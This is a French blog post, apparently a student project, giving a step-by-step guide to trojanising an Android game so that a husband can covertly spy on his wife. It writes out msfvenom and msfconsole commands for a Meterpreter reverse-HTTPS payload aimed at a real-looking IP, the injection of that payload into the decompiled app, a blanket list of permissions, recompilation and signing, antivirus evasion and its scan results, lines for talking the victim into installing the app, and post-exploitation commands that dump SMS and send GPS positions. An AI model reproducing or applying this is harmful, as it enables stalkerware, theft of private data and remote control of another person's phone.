Note utilisateur: 0 / 5

Etoiles inactivesEtoiles inactivesEtoiles inactivesEtoiles inactivesEtoiles inactives
 

Une touche de poesie comme Ahmed nous a appris:

Tous les hommes sont menteurs, inconstants, faux, bavards, hypocrites, orgueilleux et lâches, méprisables et sensuels ; toutes les femmes sont perfides, artificieuses, vaniteuses, curieuses et dépravées ; le monde n’est qu’un égout sans fond où les phoques les plus informes rampent et se tordent sur des montagnes de fange ; mais s’il y a au monde une chose sainte et sublime, c’est l’union de deux de ces êtres si imparfaits et si affreux." Alfred De Musset

   mr mrs smith Mr et Mrs Smith, ignorent l'un et l'autre la profession de l'autre et cherchent à savoir...

Pourquoi? Parce qu'il fallait créer un projet fil rouge. Parmi les projets fil rouges proposés, j'ai pu choisir de créer un malware en ruby. Par ce que je ne connaissais par le langage ruby et que cela me tentait d'apprendre. Ce fil rouge a été l'occasion.

"Conception d'un malware ... Je vous laisse le choix d'imaginer une cible potentielle et un mode d'opération assez simple. Développement d'un exploit sous  Metasploit (Maitrise du langage Ruby) ".

L'idée est d'utiliser un payload existant (principe d'encapsulation de la programmation objet), le modifier, puis reprogrammer sa façon de fonctionner. 

Comment Mr Smith peut-il espionner Mrs Smith?

 

 Consultingit suite fleche 299

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 Par Facebook?

Suite au scandale de Campridge Analytica, les utilisateurs postent de moins en moins d'informations sur les réseaux sociaux.

facebook espionner son ex projet ponephone

  

Consultingit suite fleche 299

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Parce que « Les numéros de téléphone mobile sont encore meilleurs que les numéros de sécurité sociale pour identifier les personnes. »

https://www.metadosi.fr/comment-facebook-vous-espionne/

 

facebook aspiration donnees

 

Pourquoi ne pas faire comme Facebook?

Comment Mr Smith peut-il espionner sa femme plus efficacement qu'avec Facebook?

 La solution...

Consultingit suite fleche 299

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

La solution: le Ponephone

 

Le dernier téléphone portable à la mode que Mr Smith offre à son épouse Mrs Smith

St Valentin, Noces d'argent, Fête des mères, etc...

 

ponephone samsung galaxy s9 android 320

  Consultingit suite fleche 299

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

principe 

Principe du Ponephone 

 -> Fourni avec le jeu "Ponemongo 2 le retour" ! <-

Le ponephone est un telephone portable de série classique

Infesté par des applications ciblées, dont la victime se sert quotidiennement, ou une des applications les plus utilisées.

Voir les "top apps" et "top games" .

Ou une application, par exemple le jeu "Ponemongo" et son installation ici

pwne les tous

 

Consultingit suite fleche 299

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Les fonctionnalités du Ponephone

 

Récupération des éléments suivants:

-localisation du telephone, coordonnées GPS avec latitude, longitude, pour savoir si Mrs Smith n'est pas tout le temps chez son amant.

-journal des appels

-sms

-contacts

-etc...

 Bonus:

-lancement d'un cheval de troie, shell, terminal, cmd, pour lancer les commandes à distance: prises de photos...

 

Consultingit suite fleche 299

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

generationmalware 

Génération du malware

metasploit

Utilisation du framework METASPLOIT avec MSFVENOM

msfconsole start

use exploit/multi/handler
set payload android/meterpreter/reverse_https
set LHOST 86.140.39.25

set LPORT 666

exploit

msfvenom -p android/meterpreter/reverse_https LHOST=86.140.39.25 LPORT=666 -o meterpreter.apk R > ponemongo_malware.apk

 

Consultingit suite fleche 299

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Décompilation

Décompilation de l'application originale saine existante

Un APK est un ZIP. MAis pour décompiler et pouvoir ensuite recompiler sans soucis, il faut respecter EXACTEMENT le format zip (4-byte boundaries) Utilisation de Zipalign pour

https://developer.android.com/studio/command-line/zipalign

apt-get install zipalign

Smali, désassemblage .dex

Dex2jar, décodage des resources, .dex, réassemblage application en archives .jar executables java

JD-GUI, décompilation des fichiers .class (fichiers executables par la JVM) en .java

Androguard,  analyse des applications Android reverse-engineering DEX désassembleur/Décompilateur  DEX, ODEX (AndroPyTool, AppKnox, Cuckoo Sandbox, Droidbot, Droidstatx, εxodus, F-Droid Server, gplaycli, Koodous, MobSF, qiew, Viper Framework)

androguard

APKAnalyser

ApkAnalyser est un outil (c) SONY, d'analyse de code statique et virtuel pour examiner et valider le travail de développement d'une application Android. C'est une chaîne d'outils complète. Monitoring de l'installation de l'application. ApkAnalyser prend également en charge l'analyse des ressources, le décodage XML, les recherches des références des ressources et détection des problèmes potentiels dans une application.

et... APKTOOL Reverse engineer APK files

reverse engineering apk

 

https://ibotpeaches.github.io/Apktool/documentation/

http://androidcracking.blogspot.com/search/label/smali 

http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html 

http://webchat.freenode.net/?channels=smali 

http://forum.xda-developers.com/showthread.php?t=777707 

http://www.slideshare.net/paller/understanding-the-dalvik-bytecode-with-the-dedexer-tool

http://sites.google.com/site/haynesmathew/home/projects/dalvik-notes 

http://jasmin.sourceforge.net/guide.html 

http://groups.google.com/group/apktool?pli=1 

https://github.com/JesusFreke/smali/wiki/smalidea

sudo apktool d ponemongo-original.apk

sudo apktool d ponemongo-original-test010618.apk

il cree un repertoire pentestlab avec tous les fichiers décompilés à l’interieur

classes.dex

resources.arsc

AndroidManifest.xml 

apktool.yml :

!!brut.androlib.meta.MetaInfo
apkFileName: ponemongo-original-test010618.apk
compressionType: false
doNotCompress:
- arsc
isFrameworkApk: false
packageInfo:
forcedPackageId: '127'
renameManifestPackage: null
sdkInfo:
minSdkVersion: '14'
targetSdkVersion: '24'
sharedLibrary: false
sparseResources: false
unknownFiles: {}
usesFramework:
ids:
- 1
tag: null
version: 2.3.2-dirty
versionInfo:
versionCode: '110'
versionName: 0.0.78.1


original
res
smali

 

0b1db0a@surface:~/Documents/metasploit$ apktool d ponemongo.apk
I: Using Apktool 2.3.1-dirty on ponemongo.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /pentester/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

 

On met tous les droits pour ne pas ere ennuyés: 

sudo chmod -R 777 ponemongo-original.apk

sudo chmod -R 777 ponemongo-malware-010618

 

 

Décompilation de l'application malware msfvenom metasploit

 

virus malware cheval de troie

 

Le Payload.smali qui contient le shellcode:

 

# direct methods
.method static constructor <clinit>()V
.locals 1

const/16 v0, 0x2004

new-array v0, v0, [B

fill-array-data v0, :array_0

sput-object v0, Lcom/metasploit/stage/Payload;->a:[B

return-void

:array_0
.array-data 1
0x0t
0x0t
0x0t
0x0t
0x0t
0x0t
0x0t
0x0t
0x0t
0x0t
0x0t
0x0t
-0x80t
0x3at
0x9t
0x0t

...

 

Consultingit suite fleche 299

 

 

 

 

 

 

 

 

 

 

 

Copie du malware

Fusion des 2 applications : copie du malware dans l'application décompilée

 

merge

 

Copie des fichiers

/Documents/metasploit/pentestlab/smali/com/metasploit/stage
dans
/Documents/metasploit/ponemongo/smali/com/metasploit/stage
en créant les repertoires si besoin

 

 

Consultingit suite fleche 299

 

 

 

 

 

 

 

 

 

 

Injection du hook 

Injection du hook pour que l'application décompilée lance le malware 

 

On va injecter dans la séquence d’insctuctions, une nouvelle instruction qui va lancer le payload et ensuite lancer l’application, comme si de rien n’était, de façon transparente.

Exemple de fichier smali décompilé: MainActivity.smali 

 

.class public Lcom/ponemongo/stage/MainActivity;
.super Landroid/app/Activity;


# direct methods
.method public constructor <init>()V
.locals 0

invoke-direct {p0}, Landroid/app/Activity;-><init>()V

return-void
.end method


# virtual methods
.method protected onCreate(Landroid/os/Bundle;)V
.locals 0

invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V

invoke-static {p0}, Lcom/metasploit/stage/MainService;->startService(Landroid/content/Context;)V

invoke-virtual {p0}, Lcom/metasploit/stage/MainActivity;->finish()V

return-void
.end method

Trouver dans le manifest.xml  l’activity qui est lancée en premier

C’est de l’assembly markup langage. 

cd /pentester/Documents/metasploit/ponemongo/

gedit /pentester/Documents/metasploit/ponemongo/AndroidManifest.xml

chercher “Activity” et “@string/app_name” qui nous donne la 1ere activity lancée

cTRL+F, on trouve:

<activity android:configChanges="keyboard|keyboardHidden|orientation|screenLayout|screenSize|smallestScreenSize" android:label="@string/app_name" android:name="fr.consultingit.pwnezmoi.Pwne_les_tous$Lanceur" android:screenOrientation="sensor" android:theme="@style/Theme.AppCompat.Light.NoActionBar.Translucent">

            <intent-filter>

                <action android:name="android.intent.action.MAIN"/>

                <category android:name="android.intent.category.LAUNCHER"/>

            </intent-filter>

        </activity>

 

trouver le 1er smali qui lance le code par exemple

cd /pentester/Documents/metasploit/ponemongo/smali/fr/consultingit/pwnezmoi

gedit /pentester/Documents/metasploit/ponemongo/smali/fr/consultingit/pwnezmoi/Pwne_les_tous.smali

dans 

/pentester/Documents/metasploit/ponemongo/smali/fr/consultingit/pwnezmoi/R.Smali 

/pentester/Documents/metasploit/ponemongo/smali/fr/consultingit/pwnezmoi/BuildConfig.smali

 

Il y a le fameux:    invoke-direct {p0}, Ljava/lang/Object;→<init>()V

 

Consultingit suite fleche 299

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Injection des permissions

Injection des permissions

 

Les applications demandent généralement à l'utilisateur si elles ont l'autorisation, la permission d'utiliser les composants et fonctionnalités d'Android:

autorisation android applications

 

On va donner automatiquement tous les droits à notre application: la méthode radicale, on les insère toutes pour être tranquille:

Modification du fichier  APK>AndroidManifest.xml

 

<uses-permission android:name="android.permission.ACCESS_CHECKIN_PROPERTIES"/>

<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>

<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>

<uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>

<uses-permission android:name="android.permission.ACCESS_MOCK_LOCATION"/>

<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>

<uses-permission android:name="android.permission.ACCESS_SURFACE_FLINGER"/>

<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>

<uses-permission android:name="android.permission.ACCOUNT_MANAGER"/>

<uses-permission android:name="android.permission.AUTHENTICATE_ACCOUNTS"/>

<uses-permission android:name="android.permission.BATTERY_STATS"/>

<uses-permission android:name="android.permission.BIND_APPWIDGET"/>

<uses-permission android:name="android.permission.BIND_DEVICE_ADMIN"/>

<uses-permission android:name="android.permission.BIND_INPUT_METHOD"/>

<uses-permission android:name="android.permission.BIND_REMOTEVIEWS"/>

<uses-permission android:name="android.permission.BIND_WALLPAPER"/>

<uses-permission android:name="android.permission.BLUETOOTH"/>

<uses-permission android:name="android.permission.BLUETOOTH_ADMIN"/>

<uses-permission android:name="android.permission.BRICK"/>

<uses-permission android:name="android.permission.BROADCAST_PACKAGE_REMOVED"/>

<uses-permission android:name="android.permission.BROADCAST_SMS"/>

<uses-permission android:name="android.permission.BROADCAST_STICKY"/>

<uses-permission android:name="android.permission.BROADCAST_WAP_PUSH"/>

<uses-permission android:name="android.permission.CALL_PHONE"/>

<uses-permission android:name="android.permission.CALL_PRIVILEGED"/>

<uses-permission android:name="android.permission.CAMERA"/>

<uses-permission android:name="android.permission.CHANGE_COMPONENT_ENABLED_STATE"/>

<uses-permission android:name="android.permission.CHANGE_CONFIGURATION"/>

<uses-permission android:name="android.permission.CHANGE_NETWORK_STATE"/>

<uses-permission android:name="android.permission.CHANGE_WIFI_MULTICAST_STATE"/>

<uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>

<uses-permission android:name="android.permission.CLEAR_APP_CACHE"/>

<uses-permission android:name="android.permission.CLEAR_APP_USER_DATA"/>

<uses-permission android:name="android.permission.CONTROL_LOCATION_UPDATES"/>

<uses-permission android:name="android.permission.DELETE_CACHE_FILES"/>

<uses-permission android:name="android.permission.DELETE_PACKAGES"/>

<uses-permission android:name="android.permission.DEVICE_POWER"/>

<uses-permission android:name="android.permission.DIAGNOSTIC"/>

<uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>

<uses-permission android:name="android.permission.DUMP"/>

<uses-permission android:name="android.permission.EXPAND_STATUS_BAR"/>

<uses-permission android:name="android.permission.FACTORY_TEST"/>

<uses-permission android:name="android.permission.FLASHLIGHT"/>

<uses-permission android:name="android.permission.FORCE_BACK"/>

<uses-permission android:name="android.permission.GET_ACCOUNTS"/>

<uses-permission android:name="android.permission.GET_PACKAGE_SIZE"/>

<uses-permission android:name="android.permission.GET_TASKS"/>

<uses-permission android:name="android.permission.GLOBAL_SEARCH"/>

<uses-permission android:name="android.permission.HARDWARE_TEST"/>

<uses-permission android:name="android.permission.INJECT_EVENTS"/>

<uses-permission android:name="android.permission.INSTALL_LOCATION_PROVIDER"/>

<uses-permission android:name="android.permission.INSTALL_PACKAGES"/>

<uses-permission android:name="android.permission.INTERNAL_SYSTEM_WINDOW"/>

<uses-permission android:name="android.permission.INTERNET"/>

<uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES"/>

<uses-permission android:name="android.permission.MANAGE_ACCOUNTS"/>

<uses-permission android:name="android.permission.MANAGE_APP_TOKENS"/>

<uses-permission android:name="android.permission.MASTER_CLEAR"/>

<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>

<uses-permission android:name="android.permission.MODIFY_PHONE_STATE"/>

<uses-permission android:name="android.permission.MOUNT_FORMAT_FILESYSTEMS"/>

<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>

<uses-permission android:name="android.permission.NFC"/>

<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>

<uses-permission android:name="android.permission.READ_CALENDAR"/>

<uses-permission android:name="android.permission.READ_CONTACTS"/>

<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>

<uses-permission android:name="android.permission.READ_FRAME_BUFFER"/>

<uses-permission android:name="android.permission.READ_HISTORY_BOOKMARKS"/>

<uses-permission android:name="android.permission.READ_INPUT_STATE"/>

<uses-permission android:name="android.permission.READ_LOGS"/>

<uses-permission android:name="android.permission.READ_PHONE_STATE"/>

<uses-permission android:name="android.permission.READ_SMS"/>

<uses-permission android:name="android.permission.READ_SYNC_SETTINGS"/>

<uses-permission android:name="android.permission.READ_SYNC_STATS"/>

<uses-permission android:name="android.permission.REBOOT"/>

<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

<uses-permission android:name="android.permission.RECEIVE_MMS"/>

<uses-permission android:name="android.permission.RECEIVE_SMS"/>

<uses-permission android:name="android.permission.RECEIVE_WAP_PUSH"/>

<uses-permission android:name="android.permission.RECORD_AUDIO"/>

<uses-permission android:name="android.permission.REORDER_TASKS"/>

<uses-permission android:name="android.permission.RESTART_PACKAGES"/>

<uses-permission android:name="android.permission.SEND_SMS"/>

<uses-permission android:name="android.permission.SET_ACTIVITY_WATCHER"/>

<uses-permission android:name="android.permission.SET_ALARM"/>

<uses-permission android:name="android.permission.SET_ALWAYS_FINISH"/>

<uses-permission android:name="android.permission.SET_ANIMATION_SCALE"/>

<uses-permission android:name="android.permission.SET_DEBUG_APP"/>

<uses-permission android:name="android.permission.SET_ORIENTATION"/>

<uses-permission android:name="android.permission.SET_POINTER_SPEED"/>

<uses-permission android:name="android.permission.SET_PROCESS_LIMIT"/>

<uses-permission android:name="android.permission.SET_TIME"/>

<uses-permission android:name="android.permission.SET_TIME_ZONE"/>

<uses-permission android:name="android.permission.SET_WALLPAPER"/>

<uses-permission android:name="android.permission.SET_WALLPAPER_HINTS"/>

<uses-permission android:name="android.permission.SIGNAL_PERSISTENT_PROCESSES"/>

<uses-permission android:name="android.permission.STATUS_BAR"/>

<uses-permission android:name="android.permission.SUBSCRIBED_FEEDS_READ"/>

<uses-permission android:name="android.permission.SUBSCRIBED_FEEDS_WRITE"/>

<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>

<uses-permission android:name="android.permission.UPDATE_DEVICE_STATS"/>

<uses-permission android:name="android.permission.USE_CREDENTIALS"/>

<uses-permission android:name="android.permission.USE_SIP"/>

<uses-permission android:name="android.permission.VIBRATE"/>

<uses-permission android:name="android.permission.WAKE_LOCK"/>

<uses-permission android:name="android.permission.WRITE_APN_SETTINGS"/>

<uses-permission android:name="android.permission.WRITE_CALENDAR"/>

<uses-permission android:name="android.permission.WRITE_CONTACTS"/>

<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>

<uses-permission android:name="android.permission.WRITE_GSERVICES"/>

<uses-permission android:name="android.permission.WRITE_HISTORY_BOOKMARKS"/>

<uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>

<uses-permission android:name="android.permission.WRITE_SETTINGS"/>

<uses-permission android:name="android.permission.WRITE_SMS"/>

<uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS"/>

<uses-permission android:name="android.permission.BIND_ACCESSIBILITY_SERVICE"/>

<uses-permission android:name="android.permission.BIND_TEXT_SERVICE"/>

<uses-permission android:name="android.permission.BIND_VPN_SERVICE"/>

<uses-permission android:name="android.permission.PERSISTENT_ACTIVITY"/>

<uses-permission android:name="android.permission.READ_CALL_LOG"/>

<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>

<uses-permission android:name="com.android.browser.permission.READ_HISTORY_BOOKMARKS"/>

<uses-permission android:name="android.permission.READ_PROFILE"/>

<uses-permission android:name="android.permission.READ_SOCIAL_STREAM"/>

<uses-permission android:name="android.permission.READ_USER_DICTIONARY"/>

<uses-permission android:name="com.android.alarm.permission.SET_ALARM"/>

<uses-permission android:name="android.permission.SET_PREFERRED_APPLICATIONS"/>

<uses-permission android:name="android.permission.WRITE_CALL_LOG"/>

<uses-permission android:name="com.android.browser.permission.WRITE_HISTORY_BOOKMARKS"/>

<uses-permission android:name="android.permission.WRITE_PROFILE"/>

<uses-permission android:name="android.permission.WRITE_SOCIAL_STREAM"/>

<uses-permission android:name="android.permission.WRITE_USER_DICTIONARY"/>

 

Ce qui donne maintenant approximativement:

ponemongo autorisations

 

Consultingit suite fleche 299

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Recompilation

Recompilation de la nouvelle application (2 applications fusionnées)

 

 Je relance apktool, avec b comme “build”:

 

apktool b /pentester/Documents/metasploit/ponemongo-oroginal/

 

 

apktool b /pentester/Documents/metasploit/ponemongo-original-test010618/

I: Using Apktool 2.3.2-dirty

I: Checking whether sources has changed...

I: Smaling smali folder into classes.dex...

I: Checking whether resources has changed...

I: Building resources...

W: aapt: brut.common.BrutException: brut.common.BrutException: Could not extract resource: /prebuilt/aapt/linux/aapt (defaulting to $PATH binary)

I: Copying libs... (/lib)

I: Building apk file...

I: Copying unknown files/dir...

I: Built apk...

 

 

 

Consultingit suite fleche 299

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Obfuscation

Obfuscation de l'application: le malware devient indetectable par les anti-virus

 

Encoder Shikata Ga Nai pour X86

 

obfuscation

 

Shikata Ga Nai signifie « On ne peut rien y faire ». Cette expression a été utilisée lors de la Seconde Guerre Mondiale lorsque les américains occupaient le Japon. Cet algorithme utilise une clé de 4 octets pour encoder le shellcode par le résultat de l’opération xor entre les deux opérandes pré-citées. Après chaque opération la clé est modifiée, soustraite par les prochains 4 octets à encoder (soustraction octet par octet). 

Pour Android:

Shellter

 

https://www.shellterproject.com/ 

Scripts Metasploit: “ShellterPro_MSF”

 

 

Veil-evasion 

https://github.com/Veil-Framework/Veil-Evasion 

 

 method="version"            -   return the current Veil-Evasion version number

    method="payloads"           -   return all the currently loaded payloads

    method="payload_options"

        params="payload_name"   -   return the options for the specified payload

    method="generate"

        params=["payload=X",   

                "outputbase=Y"

                "overwrite=Z",

                "msfvenom=...",

                "LHOST=blah]     -   generate the specified payload with the given options and returns the path of the generated executable

 

Tests pour passer les antivirus les plus courants:

http://nodistribute.com 

https://viruscheckmate.com/

 

pass

 

avast! Internet Security

69.6%

eScan Antivirus

40.6%

TrustPort Antivirus

24.9%

BullGuard Antivirus

22.1%

F-Secure Internet Security 2014

19.2%

Ad-Aware Pro

18.6%

G Data AntiVirus

17.6%

ESET NOD32 Antivirus

15.7%

Arcavir Antivirus 2014

14.6%

VBA32 Anti-Virus

 

 

Signature

Signature de la nouvelle application empoisonnée avec le malware

 

Si pas d’Eclipse/Android studio, et de compilation, creer un keystore manuellement:

A la racine “home” créer le repertoire :

sudo mkdir .android

On va utiliser keytool (une sorte d'openssl )

sudo keytool -genkey -v -keystore ~/.android/debug.keystore -storepass android -alias androiddebugkey2 -keypass android -dname "CN=Consultingit Debug,O=Ponemon,C=FR"

ok:

Generating 2,048 bit DSA key pair and self-signed certificate (SHA256withDSA) with a validity of 90 days

for: CN=Consultingit Debug, O=Ponemon, C=FR

[Storing /.android/debug.keystore]

 

Warning:

The JKS keystore uses a proprietary format. It is recommended to migrate to PKCS12 which is an industry standard format using "keytool -importkeystore -srckeystore /pentester/.android/debug.keystore -destkeystore /pentester/.android/debug.keystore -deststoretype pkcs12".

 

Consultingit suite fleche 299

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Déploiement

Déploiement de l'application vérolée sur le Ponephone

Social engineering

Infester une application que la cible utilise régulièrement, exemple: météo, banque, allociné...

Mode d'installation identique à l'installation de l'application Ponemongo

"Ma chérie que tu es belle: regarde cette application comme elle est bien, tu vas l'adorer!"

"Oh oui, oh oui, vas-y, mets-là moi !" (...)

social engineering

Consultingit suite fleche 299

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Scripts automatiques modules METASPLOIT Ruby "post exploitation"

 

Il s'agit de scripts automatiques en RUBY qui une fois l'aplication lancée vont automatiquement recueillir les infomations et effectuer d'autres actions comme:

-recueillir les infos

-masquer l'icone

-effacer les traces

-effacer l'application

-remplacemer l'application vérolée par l'application originale

...

meterpreter > help

meterpreter > sysinfo

meterpreter > ps

meterpreter > pwd

meterpreter > dump_sms

 

https://www.offensive-security.com/metasploit-unleashed/msf-post-exploitation/

 

Exemple de lancement d'un script en mode console qui boucle et relance le MainActivity du malware régulièrement, pour renvoyer toutes les minutes la position GPS (sur un android rooté pour rendre le script persistant):

 

 

while :

do am start –user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity

sleep 60000

done

 

 

ponemons ponephone

 Les Positions GPS de Mme Smith...

 

Vous voulez davantage d'infos sur le projet Ponephone? Remplissez ce formulaire de contact